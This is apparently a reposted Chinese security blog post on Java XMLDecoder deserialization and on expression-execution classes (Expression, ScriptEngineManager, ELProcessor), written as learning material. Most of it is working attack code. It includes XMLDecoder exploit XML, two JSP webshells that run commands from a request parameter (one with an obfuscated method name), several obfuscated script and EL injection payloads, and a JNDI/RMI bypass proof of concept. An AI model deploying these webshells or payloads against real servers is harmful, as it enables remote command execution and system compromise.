【网络安全】反序列化漏洞底层扩展与制作WebShell
XMLDecoder反序列化漏洞底層
參考的文章已經分析的非常詳細了,這里我主要是就是一下最后的執行是怎么樣的。也就是Expression類的使用
import java.beans.Expression;public class test {public static void main(String[] args)throws Exception {Parameter();//有參數NoParameter();//無參數}public static void Parameter() throws Exception{Object var3 = new ProcessBuilder();String var4 = "command";String[] strings = new String[]{"calc"};Object[] var2 = new Object[]{strings};Expression var5 = new Expression(var3, var4, var2);Object value = var5.getValue();//獲得參數的類String var1 = "start";Object[] var6 = new Object[]{};Expression expression = new Expression(value, var1, var6);//執行start方法expression.getValue();// 為什么不能執行?因為class.newInstance只能調用無參構造函數而ProcessBuilder沒有無參數構造函數。 // Class<?> aClass = value.getClass(); // Object o = aClass.newInstance(); // Method start = aClass.getMethod("start"); // start.invoke(o);}public static void NoParameter(){String[] strings = new String[]{"cmd.exe","/c","calc"};Object var3 = new ProcessBuilder(strings);String var4 = "start";Object[] var2 = new Object[]{};Expression var5 = new Expression(var3, var4, var2);try {var5.getValue();} catch (Exception e) {e.printStackTrace();}} }
并且通過測試可以發現Expression的使用,給出下面的例子。
并且給出了一些exp。
<?xml version="1.0" encoding="UTF-8"?> <java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd.exe</string></void><void index="1"><string>/c</string></void><void index="2"><string>calc</string></void></array><void method="start"></void></object> </java>通過實體編碼繞過
<?xml version="1.0" encoding="UTF-8"?> <java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd.exe</string></void><void index="1"><string>/c</string></void><void index="2"><string>calc</string></void></array><void method="start"/></object> </java> <?xml version="1.0" encoding="UTF-8"?> <java><object class="java.io.PrintWriter"><string>D:\shell.jsp</string><void method="println"><string>webshell</string></void><void method="close"/></object> </java>想了一下Expression類,底層是通過反射執行的, 那我們能可以制作webshell了
制作WebShell
Expression
package shell.Expression;import java.beans.Expression;public class test {public static void main(String[] args) {String payload ="calc";Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});try {expression.getValue();} catch (Exception e) {e.printStackTrace();}} }上面是java代碼,執行的原理是反射在getValue方法中可以清楚的看到,要制作webshell就需要jsp代碼。
<%@ page import="java.beans.Expression"%> <%@ page contentType="text/html; charset=UTF-8" language="java" %> <%String payload =request.getParameter("cmd");Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});expression.getValue(); %>介紹到這里又突然想到了其他表達式類的執行。
ScriptEngineManager
通過ScriptEngineManager這個類可以實現Java跟JS的相互調用,雖然Java自己沒有eval函數,但是ScriptEngineManager有eval函數,并且可以直接調用Java對象,也就相當于間接實現了Java的eval功能。
package shell.ScriptEngineManager;import javax.script.ScriptEngine; import javax.script.ScriptEngineManager;public class test {public static void main(String[] args) throws Exception{String test = "print('hello word!!');";String payload1 = "java.lang.Runtime.getRuntime().exec(\"calc\")";String payload2 = "var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();};";String payload3 = "var a=exp();function exp(){java.lang./****/Runtime./***/getRuntime().exec(\"calc\")};";String payload4 = "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065.getRuntime().exec(\"calc\");";String payload5 = "var a= Java.type(\"java.lang\"+\".Runtime\"); var b =a.getRuntime();b.exec(\"calc\");";String payload6 = "load(\"nashorn:mozilla_compat.js\");importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"calc\");";//兼容Rhino功能 https://blog.csdn.net/u013292493/article/details/51020057String payload7 = "var a =JavaImporter(java.lang); with(a){ var b=Runtime.getRuntime().exec(\"calc\");}"; // String payload8 = "var scr = document.createElement(\"script\");scr.src = \"http://127.0.0.1:8082/js.js\";document.body.appendChild(scr);exec();";eval(payload7);}public static void eval(String payload){payload=payload;ScriptEngineManager manager = new ScriptEngineManager(null);ScriptEngine engine = manager.getEngineByName("js");try {engine.eval(payload);} catch (Exception e) {e.printStackTrace();}} }然后自己突發奇想,思考能不能遠程加載js代碼?然后執行遠程js代碼里面的exp。參考payload8
function exec(){ var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command("calc"); x.start();}; }
執行失敗!百度了一下原因大概是因為java在執行js代碼的時候沒有瀏覽器的內置對象如:document,window等等。
解決方法 大概就是添加組件配置java解析瀏覽器的環境??這樣的話基本上不可能這樣配置了,于是自己就沒有在深入了解了。
java執行js代碼的底層原理
這里自己調試會很多次中間的具體流程基本上就是一個解析過程,所以只看最后。
其實本質上還是反射。最后的調用apply:393, ScriptRuntime (jdk.nashorn.internal.runtime) 的apply方式去執行。
在看一下調用棧:
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime) evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting) evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting) evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting) eval:155, NashornScriptEngine (jdk.nashorn.api.scripting) eval:264, AbstractScriptEngine (javax.script) eval:24, test (shell.ScriptEngineManager) main:17, test (shell.ScriptEngineManager)調試過程大家可以自己去測試
而上面的加載遠程js的思路是來自自己調試的過程。
那webshell.無回顯的
然后不得不說java中還有一個表達式執行的,那就是EL表達式
ELProcessor
表達式語言(Expression Language),或稱EL表達式,簡稱EL,是Java中的一種特殊的通用編程語言,借鑒于JavaScript和XPath。主要作用是在Java Web應用程序嵌入到網頁(如JSP)中,用以訪問頁面的上下文以及不同作用域中的對象 ,取得對象屬性的值,或執行簡單的運算或判斷操作。EL在得到某個數據時,會自動進行數據類型的轉換。
ELProcessor也有自己的eval函數,并且可以調用Java對象執行命令。
package shell.EL;import javax.el.ELProcessor;public class test {public static void main(String[] args) throws Exception {String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +".newInstance().getEngineByName('nashorn')" +".eval(\"s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";ELeval(payload);}public static void ELeval(String payload){payload=payload;ELProcessor elProcessor = new ELProcessor();try {elProcessor.eval(payload);} catch (Exception e) {e.printStackTrace();}} }我們也可以看看EL表達式的底層原理。
EL表達式的底層原理
我們使用payload進行debug調試,一直跟著流程走發現最后還是通過反射去執行。
最后在AstValue類中執行getValue方法,從而調用payload,之后就會js代碼執行的流程一樣了。
調用棧:
getValue:159, AstValue (org.apache.el.parser) getValue:190, ValueExpressionImpl (org.apache.el) getValue:61, ELProcessor (javax.el) eval:54, ELProcessor (javax.el) ELeval:20, test (shell.EL) main:13, test (shell.EL)webshell.無回顯的
<%@ page import="javax.el.ELProcessor"%> <%@ page contentType="text/html; charset=UTF-8" language="java" %> <%String cmd =request.getParameter("cmd");String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);\")";ELProcessor elProcessor = new ELProcessor();elProcessor.eval(payload); %>介紹到這里,突然想到了jndi注入繞過jdk191+,其中的一種方法就是利用ELProcessor類
這里直接給出poc
Registry registry = LocateRegistry.createRegistry(rmi_port); // 實例化Reference,指定目標類為javax.el.ELProcessor,工廠類為org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); // 強制將 'x' 屬性的setter 從 'setX' 變為 'eval', 詳細邏輯見 BeanFactory.getObjectInstance 代碼 ref.add(new StringRefAddr("forceString", "KINGX=eval")); // 利用表達式執行命令 ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper);還有一種方法是通過LDAP去繞過,自己寫了一個小工具
總結
通過學習XMLDecoder的底層執行的流程去發現其他表達式執行,而其中的很多底層都是通過java反射技術實現的!
若文章中出現錯誤希望大佬們能夠提出
最后
如果你有想掌握更多更高階的網安技術可以call me【學習】
總結
以上是生活随笔為你收集整理的【网络安全】反序列化漏洞底层扩展与制作WebShell的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【安全漏洞】CVE-2020-26567
- 下一篇: 【网络安全】令人闻风丧胆的“木马”是个啥